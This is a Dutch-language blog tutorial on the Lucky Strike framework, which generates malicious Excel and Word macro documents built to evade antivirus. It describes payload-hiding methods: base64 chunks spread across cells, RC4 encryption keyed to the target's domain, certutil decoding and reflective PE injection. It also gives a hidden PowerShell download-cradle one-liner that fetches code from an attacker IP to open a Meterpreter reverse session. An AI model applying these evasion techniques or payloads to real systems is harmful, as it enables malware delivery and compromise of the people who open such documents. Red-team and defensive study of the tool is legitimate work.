Lucky Strike – Evil Document Generator
Als alle methodes falen vallen we vaak terug op zogenaamde evil macro’s in office documenten om grip op een machine te krijgen. Maar ook het maken van een goede macro die niet door een virusscanner gedetecteerd wordt is erg lastig. Het Lucky Strike framework helpt ons met het genereren van deze evil macro’s en past daarbij diverse AV evasion technieken toe zodat onze macro’s minder snel als malicious worden aangemerkt door anti-virusscanners. Zien hoe Lucky Strike werkt, lees dan vooral verder.
Lucky Strike is een menu-based Powershell script voor het genereren van malicious .XLS en .DOC documenten waarbij diverse evasion technieken worden toegepast. Binnen Lucky Strike kun je met 3 soorten payloads werken, namelijk:
- Shell Commands
De uitvoering wordt gedaan via “Wscript.shell” in CMD of in Powershell. De shell commands worden onzichtbaar uitgevoerd maar hebben de hoogste kans om door een anti-virusscanner gedetecteerd te worden. Shell commando’s verstoppen de payload in de metadata (het Subject veld) van het bestand. Ook kan een Shell Command uitgevoerd worden door deze in de metadata (subject field) van de Excel te plaatsen wat ideaal is voor “empire” stagers. Tenslotte kun je kiezen voor een DDE (Dynamic Data Exchange) attack welke geen gebruik maakt van macro’s. - Powershell Script
Powershell Script – Powershell Scripts (PS1) bestanden kunnen op 3 manieren uitgevoerd worden. Let erop dat je je PS1 payloads altijd ongecodeerd opslaat. Lucky Strike codeert deze zelf als dat nodig is.1. CellEmbed
De payload kan overal in de werksheet voorkomen maar start altijd voorbij kolom 150 en rij 100. Lucky Strike codereerd je PS1 payload in Base64 en verdeeld deze in stukken (chunks) over verschillende cellen. Er word een zogenaamde “Legend” string geassocieerd met de payload zodat deze altijd gereconstrueerd kan worden. Na reconstructie wordt de payload als TXT opgeslagen op de schijf en uitgevoerd met Powershell.2. CellEmbedNonBase64
Deze methode is idem aan bovenstaande methode met als enige uitzondering dat deze methode de payload niet codeert. Daarom hoeft de payload ook niet gedecodeerd te worden en kan deze direct geconstrueerd en uitgevoerd worden in Powershell vanuit Excel. Hierbij word er dus niets opgeslagen op de disk en is dit de aanbevolen methode.3. CellEmbed-Encrypted
Deze methode is vergelijkbaar met de eerste methode met als uitzondering dat deze methode gebruik maakt van RC4 encryptie waarbij de domeinnaam als sleutel dient. Lucky Strike zal dan ook vragen om de domeinnaam van de ontvanger. De macro zal het e-mailadres vervolgens achterhalen uit AD en de payload kunnen decrypten. Dit voorkomt dat andere ontvangers zoals AV leveranciers de payload kunnen decrypten. - Executable
We kunnen er ook voor kiezen om een executable te gebruiken i.p.v. CMD of Powershell script. Deze 3 smaken zijn er in de aanbieding:1. Certutil
Deze aanval implementeert een base64 encoded binary in de cellen en slaat deze vervolgens als TXT op, op de schijf. De payload zal vervolgens “CertUtil” gebruiken om het TXT bestand te decoderen en op te slaan als EXE. De EXE wordt vervolgens uitgevoerd.2. Save to Disk
Bij deze methode word het EXE bestand op de disk geplaatst en uitgevoerd (hoge AV detectie)3. ReflectivePE
Bij deze methode worden het EXE bestand en een kopie van Invoke-ReflectivePEInjection worden opgeslagen op de disk als TXT bestand. De EXE wordt vervolgens geactiveerd met het Invoke-ReflectivePEInjection Powershell script. Hierdoor wordt de EXE reflective in het geheugen geladen. Bij deze methode is het heel belangrijk om goed te testen op een identieke machine omdat de architectuur zeer belangrijk is. De payload moet namelijk gebaseerd zijn op de juiste architectuur. Test voor de aanval ook of de EXE ASLR/DEP compliant is. Als deze niet complaint is zal de aanval niet werken. - COM Scriptlet
COM Scriptlets zijn ideaal om de “InstallUtil” of om de “scrobj.dll” onderdelen aan te vallen. Lucky Strike werkt nu nog alleen met HTTP URL’s welke naar de COM scriptlets verwijzen en niet met de scriptlets zelf. De COM scriptlets kunnen zowel *.sct als *.txt bestanden zijn en deze kunnen op 2 manieren worden uitgevoerd, middels “Pubprn.vbs” en “Regsrv32”.
Lucky Strike Installeren
Met bovenstaande in gedacht gaan we Lucky Strike installeren. Lucky Strike werkt alleen op x32 en x64 machines v.a. Windows 7 en vereist Powershell versie 5. Je Powershell versie kun je opvragen met het “$PSVersionTable.PSVersion” commando:
Uiteraard moet ook Microsoft Excel geïnstalleerd zijn. Daarnaast moet de Powershell PSSQLite Module geïnstalleerd zijn maar als deze nog niet geïnstalleerd is zal het installatiescript deze proberen te installeren.
Om de installatie te starten voer je het volgende commando uit in (een elevated) Powershell:
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Shellntel/luckystrike/master/install.ps1') |
Mocht je geen gebruik van IEX (Invoke-EXpression) willen maken dan kun je ook handmatig de GitHub repository downloaden en het “install.ps1” script uitvoeren.
Het script zal vervolgens de PSSQLite module downloaden als deze nog niet aanwezig is. Daarnaast maakt het script de “luckystrike” directory aan (in het huidige pad, in mijn geval “C:\Windows\System32\luckystrike”) en installeert hij de database (ls.db) in deze luckystrike directory.
Tenslotte kopieert het script de “luckystrike.ps1” script in de luckystrike directory.
Werken met Lucky Strike
Om vervolgens Lucky Strike te booten start je het Powershell script.
We kunnen nu een aantal zaken doen, namelijk:
- 1. Random een Excel bestand genereren zonder inhoud, incl. payload
- 2. Een Excel bestand als template inlezen zodat de gegenereerde Excel voorzien is van content
- 3. Een Excel bestand maken met meerdere payloads
1. Random een Excel bestand genereren zonder inhoud, incl. payload
Dit is uiteraard de meest simpele versie en ideaal voor dit voorbeeld. We gaan een payload toevoegen aan de catalogus en deze vervolgens gebruiken om een geïnfecteerd Excel bestand te creëren. Om dat te doen openen we optie 2, de catalog opties:
Nu gaan we een payload toevoegen aan de catalogus, en dus kiezen we optie 1. Lucky Strike zal vervolgens vragen om een titel in te voeren en om optioneel een target IP en poort toe te voegen. Vervolgens kun je nog een omschrijving opgeven en kiezen we er in dit geval voor om een Shell Command (mspaint.exe) uit te voeren als de Excel geopend wordt.
Nu we de payload hebben toegevoegd aan de catalogus gaan we deze selecteren. Ga terug naar het hoofdmenu en kies voor optie 1 (Payload Options). Hier kiezen we nu voor optie 1 (Select a payload). Vervolgens wordt je gevraagd om een document type te selecteren (DOC of XLS). Hier kiezen we voor optie 1 (XLS). Vervolgens wordt je gevraagd om de payload te selecteren (deze hebben we slechts 1). Selecteer de payload en kies vervolgens de juiste infectiemethode. Ik kies voor optie 1, Shell Command.
De payload is gegenereerd. Nu gaan we terug naar het hoofdmenu waar we de Excel gaan genereren door op 3 (File Options) te klikken. Vervolgens kiezen we voor het genereren van een nieuw bestand en de payload wordt gegenereerd:
2. Een Excel bestand als template inlezen zodat de gegenereerde Excel voorzien is van content
Dat was relatief simpel toch! Maar wat als je nou data in je Excel wilt hebben zonder zelf het Excel bestand keer op keer te vullen met content.
Dat kunnen we doen door vanuit het hoofdmenu weer naar de catalogus opties te gaan (2) en hier te kiezen voor optie 4 (Add template to catalog). We geven de template een titel en vervolgens geven we het volledige pad naar het bestand om deze toe te voegen aan de catalogus:
Nu het bestand toegevoegd is aan de catalogus kunnen we de template gebruiken om een Excel te genereren. Hiervoor kiezen we in het hoofdmenu weer voor optie 3 (File Options) en vervolgens kiezen we voor optie 3 (Generate from template). Lucky Strike vraagt om de template te selecteren. We hebben er pas 1 en die selecteren we ook.
Nadat we de template geselecteerd hebben wordt ook dit bestand aangemaakt en gevuld met de data vanuit de template:
3. Een Excel bestand maken met meerdere payloads
We kunnen meerdere payloads in een Excel bestand plaatsen zonder het bestand te beschadigen. We hebben al een simpele payload (shellcode – calc.exe) maar laten we nog een payload gaan toevoegen. Deze keer de Metasploit Web Delivery welke we in vorige post behandeld hebben.
Zoals in die post al omschreven gaan we eerst de payload aanmaken en de listener starten:
use exploit/multi/script/web_delivery |
Vervolgens stellen we de overige opties (LHOST / LPORT / URIPATH / TARGET) in en linken we de reverse_tcp payload:
set payloads/windows/meterpreter/reverse_tcp |
Vervolgens genereren we de Powershell code en starten we de listener / webserver door het “exploit” commando te gebruiken.
De Powershell code is als volgt:
powershell.exe -nop -w hidden -c $z=new-object net.webclient;$z.proxy=[Net.WebRequest]:: GetSystemWebProxy();$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $z.downloadstring('http://192.168.136.129:8080/luckystrike'); |
Deze code gaan we ook toevoegen als payload (Shell Command) aan Lucky Strike.
En uiteraard selecteren we ook deze payload waarbij we als infectiemethode kiezen voor “Shell Command”:
Beide payloads zijn nu geselecteerd:
Als we het Excel bestand aanmaken, openen en de macro’s activeren dan wordt de Meterpreter sessie opgebouwd (en de calculator geopend):
Conclusie
Lucky Strike maakt het erg gemakkelijk om verschillende payloads te implementeren in bestaande XLS en DOC bestanden. Het is jammer dat de tool nog niet met XLSX en DOCX bestanden om kan gaan omdat deze toch wat bekender zijn bij de moderne gebruikers. Daarnaast wil ik nog testen met de CellEmbed-Encrypted Powershell optie en andere encryptie / niet-macro opties. De detectieratio bij deze “normale” marcro-based office payloads is ongeveer 50/50.
Al met al is Lucky Strike een prachtige “evil macro” Office document generator met vele mogelijkheden en een hoog bedieningsgemak. Zoals altijd telt “custom maatwerk is altijd beter” maar Lucky Strike doorstaat zijn taak met vlag en wimpel! Een prachtige generator!
Please: LIKE & SHARE dit bericht! Door te liken en delen blijf ik gemotiveerd om dit soort posts te schrijven!
Tot de volgende!